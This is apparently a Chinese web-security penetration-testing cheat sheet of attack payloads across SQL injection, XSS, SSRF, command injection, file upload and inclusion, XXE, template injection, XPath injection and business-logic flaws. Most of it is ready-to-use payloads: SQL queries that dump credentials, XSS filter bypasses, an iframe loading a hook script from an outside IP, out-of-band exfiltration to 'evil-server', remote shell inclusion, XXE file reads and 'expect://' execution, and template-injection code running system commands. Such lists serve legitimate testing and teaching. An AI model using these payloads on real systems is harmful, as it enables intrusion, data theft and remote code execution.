Web安全

0x01SQL注入

判断

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

MYSQL

显注

判断站点表中有多少字段
order by 1#1可以变1-无穷
进行联合查询,来暴露可查询的字段编号
union select 1,2,3
查询当前数据库名
union select 1,database(),3
查询所有数据库名
union select 1,(select group_concat(schema_name) from information_schema.schemata),3
查询当前数据库所有表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='DBname'),3
查询当前表所有字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='DBname' and table_name=TABLEname),3
查询数据
union select 1,(select group_concat(username,0x7e,password,0x7e) from TABLEname),3
拓展
length()函数可返回字符串的长度
select length(database());
substring()函数可以截取字符串,可指定开始的位置和截取的长度
select substring('test',1,3);
ord()函数可以返回单个字符的ASCII码
select substring(database(),1,1);
char()函数可将ASCII码转换为对应的字符
select char(116);

盲注

判断数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
判断数据库名
1' and (ascii(substr((/*!database*/()),1,1))>64)#
1' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=1#
判断表名长度
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
判断表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
判断表中的字段数
1' and (select count(column_name) from information_schema.columns where table_name='TABLEname')=1#
判断每个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='TABLEname' limit 0,1),1))=1#
判断字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name='TABLEname' limit 3,1),1,1))>97#
爆出数据
判断表中段的长度
1' and (select length(TABLEname) from users where COLUMNname=1)=5#
判断出段中数据名
1' and ascii(substr((select COLUMNSname from TABLEname limit 0,1),1,1))=97#

SQL SERVER

显注

sysdatabases,sysobjects,syscolumns
查询所有的数据库名
select *from master..sysyatabases
查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x'
查询表中所有的列名
select * from databases..table
top和dbid可以一起用也可以只用一个排除默认表
查找回显点
union all select null,null,null;
查找数据库表名称
union select 1,‘2’,db_name()
select top 1 name from master..sysdatabases where dbid>4
获得表名
union select null,name,null from test.sys.sysobjects where xtype = ‘U’
union select top 1 null,name,null from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’
select top 1 name from master..sysdatabases where dbid>4 and name<> 'DBname'
查看对应表有哪些列
union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’);
union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’) and name !=‘id’ and name !=’…’;
查看列信息
union select top 1 null,username,password from users
union select top 1 null,username,password from users where username !=‘zs’ and username !=’…’

盲注

判断是否是mssql
and user>0
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
查询当前用户数据信息
having 1=1–
猜表名
and exists(select * from tablename)
and (Select Count(*) from [表名])>0
猜字段
and (Select Count(字段名) from 表名)>0
暴当前表中的列
group by admin.username having 1=1–
猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
猜字段中的ascii值
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access
and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 mssql
测试权限结构(mssql)
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
and 1=(SELECT IS_MEMBER(‘db_owner’));–
mssql内置函数
and (select @@version)>0   获得Windows的版本号
and user_name()=’dbo’     判断当前系统的连接用户是不是sa
and (select user_name())>0  爆当前系统的连接用户
and (select db_name())>0   得到当前连接的数据库
报错注入MSSQL数据库注入

ORACLE

显注

order by
union select null,null,null from dual
union select null,null,(select banner from sys.v_$version where rownum=1) from dual
union select null,null,(select owner from all_tables where rownum=1) from dual
union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ) from dual
union select null,null,(select table_name from user_tables where rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1) from dual
union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN) from dual
union select null,(SELECT USERNAME FROM ADMIN),(SELECT PASSWORD FROM ADMIN) from dual
一些常用的查询语句:
当前用户:
SELECT user FROM dual;
列出所有用户:
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;
暂时略,都会更新下来

0x02XSS

感谢原作创作不易

常用

<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>

大小写绕过

<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert(&quot;M&quot;)">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>

各种alert

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

伪协议

<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>

Chrome XSS auditor bypass

?param=https://&[email protected]/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>

长度限制

<script>s+="l"</script>
\...
<script>eval(s)</script>

jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

图片名

"><img src=x onerror=alert(document.cookie)>.gif

过期的payload

src=javascript:alert基本不可以用
css expression特性只在旧版本ie可用

css

<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

markdown

[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

iframe

<iframe onload='
var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js";
document.body.appendChild(sc);
'
/>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe

form

<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>

meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

0x03CSRF

这里只推荐工具吧

工具

GitHub - tgianko/deemon: Deemon is a tool to detect CSRF in web applications. Deemon has been used for the paper "Deemon: Detecting CSRF with Dynamic Analysis and Property Graphs" by G. Pellegrino, M. Johns, S. Koch, M. Backes, and C. Rossow.
GitHub
CSRFTester #需要抓包
burpsuite #需要抓包

0x04SSRF

可利用的点

Apache Hadoop远程命令执行
axis2-admin部署Server命令执行
Confluence SSRF
counchdb WEB API远程命令执行
dict
docker API远程命令执行
Elasticsearch引擎Groovy脚本命令执行
ftp / ftps(FTP爆破)
glassfish任意文件读取和war文件部署间接命令执行
gopher
HFS远程命令执行
http、https
imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
Java调试接口命令执行
JBOSS远程Invoker war命令执行
Jenkins Scripts接口命令执行
ldap
mongodb
php_fpm/fastcgi 命令执行
rtsp - smb/smbs(连接SMB)
sftp
ShellShock 命令执行
Struts2 命令执行
telnet
tftp(UDP协议扩展)
tomcat命令执行
WebDav PUT上传任意文件
WebSphere Admin可部署war间接命令执行
zentoPMS远程命令执行
写ssh公钥
写crontab
写WebShell
Windows写启动项
主从复制加载 .so 文件
主从复制写无损文件

其他利用协议

gopher
dict
dict
file
ftp
ftps
gopher
http
https
imap
imaps
ldap
pop3
pop3s
rtsp
scp
sftp
smtp
smtps
telnet
tftp

可能触发的点,也就是可能存在ssrf的参数位置

分享位置
转码服务
在线翻译
图片加载与下载或者任意下载文件的地方,同时也可能存在任意文件读取(任意文件下载)
收藏功能
api调用,这里也可能存在大量漏洞

代码审计点

file_get_contents,fsockopen,curl_exec

0x05命令注入

常见危险函数

PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

Python

  • system
  • popen
  • subprocess.call
  • spawn

Java

  • java.lang.Runtime.getRuntime().exec(command)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
    curl http://evil-server/$(whoami)
    wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

常见绕过方式

空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

长度限制绕过

>wget\
>foo.\
>com
ls -t>a
sh a

常用符号

命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

通配符

  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
    shell元字符包括 #&;,|*?~<>^()[]{} Web安全 - Black Front Security Team

0x06目录穿越

Nginx Off by Slash

  • https://vuln.site.com/files../

URL参数

  • ../
  • ..\
  • ..;/

UNC Bypass

  • \\localhost\c$\windows\win.ini

过滤绕过

  • 单次替换
    ...//
  • URL编码
  • 16位Unicode编码
    \u002e
  • 超长UTF-8编码
    \%e0%40%ae

0x07文件读取

读取可能有敏感信息的文件

用户目录下的敏感文件

  • .bash_history
  • .zsh_history
  • .profile
  • .bashrc
  • .gitconfig
  • .viminfo
  • passwd

应用的配置文件

  • /etc/apache2/apache2.conf
  • /etc/nginx/nginx.conf

应用的日志文件

  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

站点目录下的敏感文件

  • .svn/entries
  • .git/HEAD
  • WEB-INF/web.xml
  • .htaccess

特殊的备份文件

  • .swp
  • .swo
  • .bak
  • index.php~
  • ...

Python的Cache

  • __pycache__\__init__.cpython-35.pyc

0x08文件上传

文件类型检测绕过

更改请求绕过

有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。

Magic检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示
类型
二进制值
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF
47 49 46 38 39 61
PNG
89 50 4E 47
TIF
49 49 2A 00
BMP
42 4D

后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。
php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。
jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。
除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/../aa/../index.php/. 的文件

.user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。
另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

攻击技巧

Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess
内容为
.htaccess
AddType application/x-httpd-php .png
php_flag engine 1
就可以用png或者其他后缀的文件做php脚本了

软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果

0x09文件包含

基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常用的几种包含方式为
  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试

触发Sink

PHP

  • include
    • 在包含过程中出错会报错,不影响执行后续语句
  • include_once
    • 仅包含一次
  • require
    • 在包含过程中出错,就会直接退出,不执行后续语句
  • require_once

绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

%00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过

  • 远程包含: 要求 allow_url_fopen=Onallow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

协议绕过

allow_url_fopenallow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

0x10XXE

攻击方式

拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

0x11模版注入

测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
    • Ruby
      • <%= 7 * 7 %>
      • <%= File.open('/etc/passwd').read %>
    • Java
      • ${7*7}
    • Twig
      • {{7*7}}
    • Smarty
      • {php}echo 'id';{/php}
    • AngularJS
      • $eval('1+1')
    • Tornado
      • 引用模块 {% import module %}=> {% import os %}{{ os.popen("whoami").read() }}
    • Flask/Jinja2
      • {{ config }}
      • {{ config.items()}}
      • {{get_flashed_messages.__globals__['current_app'].config}}
      • {{''.__class__.__mro__[-1].__subclasses__()}}
      • {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
      • {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
    • Django
      • {{ request }}
      • {% debug %}
      • {% load module %}
      • {% include "x.html" %}
      • {% extends "x.html" %}

0x12Xpath注入

Xpath注入攻击原理

XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。
在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,
例存在user.xml文件如下:
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
则在XPath中其典型的查询语句为: //users/user[loginID/text()='xyz'and password/text()='123test']
但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test' ,则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码://users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

0x13逻辑漏洞 / 业务漏洞

简介

逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。
在实际开发中,因为开发者水平不一没有安全意识,而且业务发展迅速内部测试没有及时到位,所以常常会出现类似的漏洞。

安装逻辑

  • 查看能否绕过判定重新安装
  • 查看能否利用安装文件获取信息
  • 看能否利用更新功能获取信息

交易

购买

  • 修改支付的价格
  • 修改支付的状态
  • 修改购买数量为负数
  • 修改金额为负数
  • 重放成功的请求
  • 并发数据库锁处理不当

业务风控

  • 刷优惠券
  • 套现

账户

注册

  • 覆盖注册
  • 尝试重复用户名
  • 注册遍历猜解已有账号

密码

  • 密码未使用哈希算法保存

邮箱用户名

  • 前后空格
  • 大小写变换
  • 包含敏感信息
  • 未验证合法性可伪造

手机号用户名

  • 前后空格
  • +86

登录

  • 撞库
  • 账号劫持
  • 恶意尝试帐号密码锁死账户

找回密码

  • 重置任意用户密码
  • 密码重置后新密码在返回包中
  • Token验证逻辑在前端
  • X-Forwarded-Host处理不正确

修改密码

  • 越权修改密码
  • 修改密码没有旧密码验证

申诉

  • 身份伪造
  • 逻辑绕过

更新

  • ORM更新操作不当可更新任意字段
  • 权限限制不当可以越权修改

信息查询

  • 权限限制不当可以越权查询
  • 用户信息ID可以猜测导致遍历

2FA

  • 重置密码后自动登录没有2FA
  • OAuth登录没有启用2FA
  • 2FA可爆破
  • 2FA有条件竞争
  • 修改返回值绕过
  • 激活链接没有启用2FA
  • 可通过CSRF禁用2FA

验证码

  • 验证码可重用
  • 验证码可预测
  • 验证码强度不够
  • 验证码无时间限制或者失效时间长
  • 验证码无猜测次数限制
  • 验证码传递特殊的参数或不传递参数绕过
  • 验证码可从返回包中直接获取
  • 验证码不刷新或无效
  • 验证码数量有限
  • 验证码在数据包中返回
  • 修改Cookie绕过
  • 修改返回包绕过
  • 验证码在客户端生成或校验
  • 验证码可OCR或使用机器学习识别
  • 验证码用于手机短信/邮箱轰炸

Session

  • Session机制
  • Session猜测 / 爆破
  • Session伪造
  • Session泄漏
  • Session Fixation

越权

  • 未授权访问
    • 水平越权
      • 攻击者可以访问与他拥有相同权限的用户的资源权限类型不变,ID改变
    • 垂直越权
      • 低级别攻击者可以访问高级别用户的资源权限ID不变,类型改变
  • 交叉越权
    • 权限ID改变,类型改变

随机数安全

  • 使用不安全的随机数发生器
  • 使用时间等易猜解的因素作为随机数种子

其他

  • 用户/订单/优惠券等ID生成有规律,可枚举
  • 接口无权限、次数限制
  • 加密算法实现误用
  • 执行顺序
  • 敏感信息泄露

配置安全

  • 弱密码
    • 位数过低字符集小为常用密码个人信息相关手机号生日姓名用户名使用键盘模式做密码
  • 敏感文件泄漏
    • .git.svn
  • 数据库
    • Mongo/Redis等数据库无密码且没有限制访问
  • 加密体系
    • 在客户端存储私钥
  • 三方库/软件
    • 公开漏洞后没有及时更新